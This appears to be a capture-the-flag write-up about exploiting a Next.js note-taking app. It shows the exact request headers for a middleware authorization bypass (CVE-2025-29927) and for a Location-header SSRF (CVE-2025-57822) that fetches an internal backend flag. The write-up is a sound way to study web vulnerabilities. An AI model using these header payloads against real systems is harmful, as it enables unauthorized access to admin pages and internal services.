A next.js note taking app that saves your notes in local storage. It has an optional login page with /api/login endpoint that responds with TE9HSU4gTk9UIElNUExFTUVOVEVE, which is LOGIN NOT IMPLEMENTED in Base64. Try to access /admin directly:

<html>
  <body>
    <h1>Unauthorized</h1>
    <p>You're not admin. Please login</p>
    <!--Request Forbidden by Next.js 15.1.1 Middleware-->
  </body>
</html>

Thank you so much, error page. Looking into reports on this version, I found this one to be the most helpful. In short, CVE-2025-29927 allows you to completely bypass nextjs middleware by making the app think it hit an infinite middleware loop.

Send an extra header with the request:

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

and infiltrate the admin control panel. This page makes requests to http://backend:4000 , which is not exposed to the public. Likely an internal docker-compose path.

Inspecting some of the admin notes:

Backend stuff
WyIvc3RhdHMiLCAiL25vdGVzIiwgIi9mbGFnIiwgIi8iXQ==

Base64 again:

["/stats", "/notes", "/flag", "/"]

The first two paths match the backend:4000 endpoints that the page is trying to reach. Target acquired: http://backend:4000/flag.

How do we make a request to an internal route? By tricking the nextjs BFF into making it for us. Let's look at another note:

Should call Nair for some code review here https://pastebin.com/GNQ36Hn4

This paste gets us a glimpse into the BFF logic. More specifically:

if (url.pathname.startsWith('/api')) {
 return NextResponse.next({
  headers: request.headers //required for api routes for decoding Auth Header
 });
}

Another CVE spotted, this time CVE-2025-57822. The app reflects user-supplied headers, and will treat Location header as a redirect, thus allowing SSRF.

Make a GET request to the placeholder /api/login endpoint and add a header:

Location: http://backend:4000/flag

and it will forward the backend response back to us. Easy win.